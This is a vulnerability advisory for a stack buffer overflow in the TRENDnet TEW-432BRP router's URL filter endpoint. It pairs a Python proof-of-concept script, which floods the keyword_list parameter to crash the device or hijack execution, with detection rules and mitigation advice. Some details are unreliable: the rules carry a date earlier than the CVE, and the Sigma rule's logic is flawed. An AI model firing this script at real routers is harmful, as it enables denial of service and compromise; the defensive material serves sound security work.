CVE-2026-10121

Executive Summary

CVE-2026-10121 is a critical stack-based buffer overflow vulnerability in the TRENDnet TEW-432BRP router, firmware version 3.10B20. The flaw resides in the formSetUrlFilter function within the /goform/formSetUrlFilter endpoint. By manipulating the keyword_list or keyword arguments, an unauthenticated remote attacker can trigger a stack-based buffer overflow, leading to arbitrary code execution or denial of service. The vendor has confirmed the product has been End-of-Life (EOL) for 15 years and will not issue a patch. With a CVSS score of 8.8 and public exploit code available, this vulnerability poses a severe risk to any remaining deployed units.

Supply Chain & Package Security

This vulnerability is not related to any software package manager (NPM, PyPI, Go, Ruby). It affects a legacy embedded device (router) and its proprietary firmware. No supply chain package security implications apply.

CVSS Breakdown & Threat Level

• CVSS Score: 8.8 (High)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Attack Vector: Network (AV:N) – exploitable remotely without physical access.
• Attack Complexity: Low (AC:L) – no special conditions required.
• Privileges Required: None (PR:N) – unauthenticated exploitation.
• User Interaction: None (UI:N) – no user action needed.
• Scope: Unchanged (S:U) – vulnerability does not affect other components.
• Confidentiality Impact: High (C:H) – full data compromise possible.
• Integrity Impact: High (I:H) – arbitrary code execution.
• Availability Impact: High (A:H) – potential denial of service.

Threat Level: Critical. Public exploit code exists, and the product is unpatched and EOL.

Deep Dive & Mechanics

The vulnerability is a classic stack-based buffer overflow (CWE-121) in the formSetUrlFilter handler. The router’s web interface processes HTTP POST requests to /goform/formSetUrlFilter. The keyword_list and keyword parameters are copied into a fixed-size stack buffer without proper bounds checking. By sending an oversized payload, an attacker can overwrite the return address and other critical stack data, achieving arbitrary code execution.

Root Cause: The strcpy or similar unsafe function is used to copy user-supplied data into a stack buffer of limited size. No length validation or safe string copy (e.g., strncpy) is implemented.

Attack Flow:

1. Attacker sends a crafted HTTP POST request to http://<router-ip>/goform/formSetUrlFilter with an excessively long keyword_list or keyword parameter.
2. The router’s CGI handler copies the input into a stack buffer, overflowing it.
3. The overflow corrupts the stack, allowing the attacker to control the instruction pointer.
4. The attacker can then execute shellcode (e.g., a reverse shell) or crash the device.

Vulnerable vs. Patched Code

Since no patch exists, we compare the vulnerable code pattern to a secure implementation.

Vulnerable Code (C-like pseudocode):

void formSetUrlFilter() {
    char buffer[256];
    char *keyword = get_param("keyword");
    // Unsafe copy - no bounds check
    strcpy(buffer, keyword);
    // ... process buffer
}

Patched Code (hypothetical secure version):

void formSetUrlFilter() {
    char buffer[256];
    char *keyword = get_param("keyword");
    // Safe copy with length limit
    strncpy(buffer, keyword, sizeof(buffer) - 1);
    buffer[sizeof(buffer) - 1] = '\0';
    // ... process buffer
}

The vulnerable code uses strcpy without checking the length of keyword. The patched version uses strncpy and ensures null-termination.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A TRENDnet TEW-432BRP router with firmware 3.10B20 (or any vulnerable version).
• Network access to the router’s web interface (typically port 80).
• Python3 and pwntools for exploit development.

Exploit Code (Python):

#!/usr/bin/env python3
import socket
import sys

def exploit(target_ip, target_port=80):
    # Craft payload: overflow buffer with shellcode (example: reverse shell)
    # Note: Actual shellcode depends on target architecture (MIPS likely)
    payload = b"A" * 256  # Fill buffer
    payload += b"BBBB"    # Overwrite saved return address (example)
    # In a real exploit, replace with proper ROP chain or shellcode

    http_request = (
        f"POST /goform/formSetUrlFilter HTTP/1.1\r\n"
        f"Host: {target_ip}\r\n"
        f"Content-Type: application/x-www-form-urlencoded\r\n"
        f"Content-Length: {len(payload)}\r\n"
        f"\r\n"
        f"keyword_list={payload.decode('latin-1')}"
    )

    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.settimeout(10)
    try:
        sock.connect((target_ip, target_port))
        sock.send(http_request.encode())
        response = sock.recv(4096)
        print(f"[+] Response: {response}")
    except Exception as e:
        print(f"[-] Error: {e}")
    finally:
        sock.close()

if __name__ == "__main__":
    if len(sys.argv) != 2:
        print(f"Usage: {sys.argv[0]} <target_ip>")
        sys.exit(1)
    exploit(sys.argv[1])

Lab Setup:

1. Set up a TRENDnet TEW-432BRP router in an isolated lab network.
2. Ensure the web interface is accessible (default IP: 192.168.0.1).
3. Run the exploit script against the router’s IP.
4. Monitor for crashes or shell access.

Blue Team (Detection & Defense)

Detection:

• Monitor HTTP POST requests to /goform/formSetUrlFilter with abnormally long keyword_list or keyword parameters.
• Use network intrusion detection systems (NIDS) to flag oversized payloads.
• Check router logs for unexpected crashes or reboots.

Defense:

• Immediate: Isolate or decommission all TEW-432BRP routers. Replace with supported hardware.
• Network Segmentation: Place legacy devices on a separate VLAN with strict access controls.
• Web Application Firewall (WAF): Deploy a WAF to block requests with excessively long parameters to known vulnerable endpoints.
• Intrusion Prevention System (IPS): Use signatures to detect and block the exploit pattern.

Indicators of Compromise (IOCs)

• Network IOCs:

  • HTTP POST requests to /goform/formSetUrlFilter with keyword_list or keyword parameters exceeding 256 bytes.
  • Unusual outbound connections from the router (e.g., to unknown IPs on high ports).
  • Repeated router crashes or reboots.

• Host IOCs:

  • Corrupted or unexpected processes running on the router (if shellcode executed).
  • Modified firmware or configuration files.

• File IOCs:

  • No specific file hashes; the vulnerability is memory-based.

Detection Engineering

YARA Rule

rule CVE_2026_10121_TRENDnet_UrlFilter_Overflow {
    meta:
        description = "Detects HTTP POST requests targeting TRENDnet TEW-432BRP URL filter overflow"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2026-10121"
    strings:
        $endpoint = "/goform/formSetUrlFilter"
        $param1 = "keyword_list="
        $param2 = "keyword="
        $overflow = /keyword[^=]*=[A-Za-z0-9%]{256,}/  // 256+ characters
    condition:
        $endpoint and ($param1 or $param2) and $overflow
}

Sigma Rule

title: CVE-2026-10121 - TRENDnet TEW-432BRP URL Filter Buffer Overflow
id: 8a3f5c2e-1b4d-4f7a-9c6e-2d8b0a1e3f5c
status: experimental
description: Detects HTTP POST requests with oversized keyword_list or keyword parameters to the vulnerable endpoint.
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/goform/formSetUrlFilter'
        cs-uri-query|contains: 
            - 'keyword_list='
            - 'keyword='
    condition: selection and (len(cs-uri-query) > 300)
falsepositives:
    - Legitimate long URL filters (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2026-10121 TRENDnet TEW-432BRP URL Filter Buffer Overflow"; flow:to_server; content:"POST"; http_method; content:"/goform/formSetUrlFilter"; http_uri; content:"keyword_list="; http_client_body; pcre:"/keyword_list=[A-Za-z0-9%]{256,}/"; sid:1000001; rev:1;)

Remediation & Mitigation

Remediation:

• No patch available. The product is EOL and unsupported.
• Immediate action: Replace all TRENDnet TEW-432BRP routers with modern, supported hardware.

Mitigation (if replacement is not possible):

• Network Isolation: Place the router on a separate VLAN with no internet access and strict firewall rules.
• Disable Remote Management: Ensure the web interface is not exposed to the internet.
• Access Control: Restrict access to the router’s management interface to trusted IPs only.
• Monitor: Continuously monitor for exploitation attempts using the provided detection rules.
• Firmware Hardening: If possible, manually remove or disable the vulnerable CGI endpoint (requires firmware modification – not recommended for production).

Long-term: Adopt a lifecycle management policy for network devices to ensure timely replacement of EOL hardware.

Valters IT
Securing Legacy, One CVE at a Time.